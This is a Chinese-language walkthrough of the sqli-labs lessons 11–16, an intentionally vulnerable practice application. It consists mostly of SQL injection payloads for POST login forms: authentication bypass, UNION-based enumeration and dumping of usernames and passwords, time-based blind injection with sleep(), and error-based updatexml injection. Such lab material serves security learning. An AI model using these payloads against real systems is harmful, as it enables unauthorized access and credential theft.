直接在username中填写 admin’ or 1=1#(此处不能使用–+,因为–+主要使用在url中,#是适用的)即:
1
uname=a' or 1=1 #& passwd=a &submit=Submit
此时登录成功,可以验证存在注入漏洞。 3. 此时在password位置进行验证:
1
uname=a&passwd=a' or 1=1# &submit=Submit
登录成功,开始构造!
同样可以进行判断,最后得出一共有两列。
1
uname=a' order by 3#&passwd=a &submit=Submit
或者是使用
1
uname=a&passwd=a' order by 2# &submit=Submit
5.
1
uname=a&passwd=a' union select database(),2 # &submit=Submit
查询到当前的数据库为security,或者是使用:
1
uname=a' union select database(),2 # &passwd=a&submit=Submit
均可以查询到当前的数据库,当然也可以查询其它信息。 6.
1
uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1) # &passwd=a&submit=Submit
可以查询到当前的第一个数据库,或者是使用命令:
1
uname=a' union select 1,(select group_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit
可以得到所有的数据库。 7.
1
uname=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479) # &passwd=a&submit=Submit
可以得到security数据库中的所有的表信息 8.
1
uname=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) # &passwd=a&submit=Submit
通过users表获得里面的列值:id,username,password 9.
1
uname=a' union select 1, group_concat(concat_ws('~',username,password)) from security.users # &passwd=a&submit=Submit
此时就可以得到里面所有的数据。
Less-12
以下均为POST内容:
首先进行尝试:此时只是显示登陆失败,没有其他的回显,将’换为”
1
uname=admin' &passwd=a&submit=Submit
此时有回显,显示有报错信息,通过报错信息,我们知道如何进行构造:’)
1
uname=admin" &passwd=a&submit=Submit
此时构造成功之后,显示登陆成功。接下来的和less-11相同。
1
uname=admin") or 1=1# &passwd=a&submit=Submit
通过order by语句得到一共有两列。
1
uname=admin") order by 3# &passwd=a&submit=Submit
查询到当前的数据库为security
1
uname=a&passwd=a") union select database(),2 # &submit=Submit
或者是使用:
1
uname=a") union select database(),2 # &passwd=a&submit=Submit
均可以查询到当前的数据库,当然也可以查询其它信息。 6. 可以查询到当前的第一个数据库,
1
uname=a") union select 1,(select schema_name from information_schema.schemata limit 1,1) # &passwd=a&submit=Submit
或者是使用命令:
1
uname=a") union select 1,(select group_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit
可以得到所有的数据库。 7. 可以得到security数据库中的所有的表信息
1
uname=a") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479) # &passwd=a&submit=Submit
通过users表获得里面的列值:id,username,password
1
uname=a") union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) # &passwd=a&submit=Submit
此时就可以得到里面所有的数据。 0x7e代表的就是 ~
1
uname=a") union select 1, group_concat(concat_ws(0x7e,username,password)) from security.users # &passwd=a&submit=Submit
Less-13
以下均为POST内容:
此时只是显示登陆成功,但是不会显示其他的信息。
1
uname=admin &passwd=admin&submit=Submit
直接通过报错信息知道了如何构造 构造:1’) or 1=1#
1
uname=' &passwd=a&submit=Submit
此时只是显示登陆成功,但是不会显示其他信息,考虑盲注。
1
uname=admin') order by 2# &passwd=admin&submit=Submit
此时可以得到数据库的长度是8.
1
uname=admin') or if(length(database())=8,1,sleep(5))# &passwd=admin&submit=Submit
使用or和left()来判断第一个字母是多少(注意的是这里不是使用and)
1
uname=admin&passwd=ain') or left(database(),1)>'a'#&submit=Submit
通过这样一个个进行判断即可!
1
uname=admin&passwd=ain') or left(database(),2)='se'#&submit=Submit
或者是使用这种方法也是可以判断的。
1
uname=admin&passwd=ain') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&submit=Submit
查表,也可使用burpsuite进行辅助测试
1
uname=admin&passwd=ain') or left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)='e'#&submit=Submit
Less-14
1 2 3 4
1. uname=admin&passwd=a"&submit=Submit 构造:" or 1=1# 2. uname=admin&passwd=a" order by 10#sub&mit=Submit 判断一共有多少列 3. uname=admin&passwd=a" or if(length(database())=8,1,sleep(5))# #&submit=Submit 使用和less-13同样的方法进行判断 * 注意and和or的用法
Less-15
1 2 3 4 5 6
1. uname=admin&passwd=a"&submit=Submit 构造:1' or 1=1# 在这里判断列数没有实际意义了 2. uname=adminadmin&passwd=admiand' or if(length(database())>1000,1,sleep(5))#&submit=Submit通过这个来判断其长度 3. uname=adminadmin&passwd=admiand' or if(length()>1000,1,sleep(5))#&submit=Submit 4. uname=adminadmin&passwd=admiand' or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'a'#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a 5. uname=adminadmin&passwd=admiand' or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>'g'#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g 6. uname=adminadmin&passwd=admiand' or left((select username from security.users limit 0,1),1)> 'a'#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询
Less-16
1 2 3 4 5 6
1. uname = admin&passwd=a" & submit=Submit 构造:1") or 1=1# 在这里判断列数没有实际意义了,和less-15相同 2. uname = adminadmin&passwd=admiand") or if(length(database())>1,1,sleep(5))#&submit=Submit通过这个来判断其长度 3. uname=adminadmin&passwd=admiand") or if(length()>1000,1,sleep(5))#&submit=Submit 4. uname=adminadmin&passwd=admiand") or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'a'#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a 5. uname=adminadmin&passwd=admiand") or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>'g'#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g 6. uname=adminadmin&passwd=admiand") or left((select username from security.users limit 0,1),1)> 'a'#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询
报错注入
报错注入常用的三种注入方式(flool ,extractvalue、updatexml)
floor()报错注入是利用count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。
uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#&submit=Submit
同样的方法可以获得其他的数据
1
uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)#&submit=Submit
1 2 3 4 5 6 7 8 9 10
uname=admin&passwd=afafa'#&submit=Submit select updatexml(1,concat(0x7e,(database())),1); select updatexml(1,concat(0x7e,(构造语句)),1); 构造语句: 查库: select schema_name from information_schema.schemata; 查表: select table_name from information_schema.tables where table_schema='security'; 查列: select column_name from information_schema.columns where table_name='users'; 查字段: select username,password from security.users; and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),1)
select * from (select group_concat(concat_ws(‘~’,username,password)) from security.users) a